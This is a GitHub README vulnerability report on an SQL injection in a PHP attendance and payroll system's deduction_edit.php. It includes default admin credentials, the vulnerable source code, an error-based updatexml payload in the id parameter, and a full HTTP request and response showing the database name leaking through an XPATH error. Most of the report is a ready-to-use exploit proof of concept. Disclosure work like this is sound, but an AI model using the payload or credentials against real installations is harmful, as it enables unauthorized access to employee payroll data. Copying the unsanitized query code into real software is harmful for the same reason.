

main

...

bug_report / bug_k / README.md



debug601 Update README.md

History

1 contributor

36 lines (26 sloc) | 1.52 KB

...

Attendance and Payroll System v1.0 - SQL injection

username:nurhodelta password:password ----> {ip}apsystem/admin/index.php

Supplier: <https://www.sourcecodester.com/php/12268/attendance-and-payroll-system-using-php.html>

\admin\deduction_edit.php has SQL injection

Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--
+&description=PhilHealth&amount=150&edit=

SQL injection because id can be closed

```
deduction_edit.php
1 <?php
2 include 'includes/session.php';
3
4 if(isset($_POST['edit'])){
5     $id = $_POST['id'];
6     $description = $_POST['description'];
7     $amount = $_POST['amount'];
8
9     $sql = "UPDATE deductions SET description = '$description', amount = '$amount' WHERE id = '$id'";
10    echo $sql;
11    if($conn->query($sql)){
12        $_SESSION['success'] = 'Deduction updated successfully';
13    }
14    else{
15        $_SESSION['error'] = $conn->error;
16    }
17 }
18 else{
19     $_SESSION['error'] = 'Fill up edit form first';
20 }
21
22 header('location:deduction.php');
23
24 ?>
```

POST /apsystem/admin/deduction_edit.php HTTP/1.1

Host: 192.168.1.17

Content-Length: 44

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.1.17

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Referer: http://192.168.1.17/apsystem/admin/deduction.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=2nud4pa7qt6oo5od13120a4bta

Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--&description=PhilHe



Request	Response
Raw	Raw
Params	Headers
Headers	Hex
POST /apsystem/admin/deduction_edit.php HTTP/1.1 Host: 192.168.1.17 Content-Length: 105 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.17 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.17/apsystem/admin/deduction.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2nud4pa7qt6oo5od13120a4bta Connection: close id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--&description=PhilHealth&amount=150&edit=	HTTP/1.1 302 Found Date: Mon, 21 Mar 2022 12:29:07 GMT Server: Apache/2.4.41 (win64) OpenSSL/1.1.1c PHP/7.4.1 X-Powered-By: PHP/7.4.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: deduction.php Content-Length: 140 Connection: close Content-Type: text/html; charset=UTF-8 UPDATE deductions SET description = 'PhilHealth', amount = '150' WHERE id = '3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--

TechSoft IT



Neovic Devierte

● Online

REPORTS

🏠 Dashboard

Deductions

⚠ **Error!**

XPATH syntax error: '~apssystem~'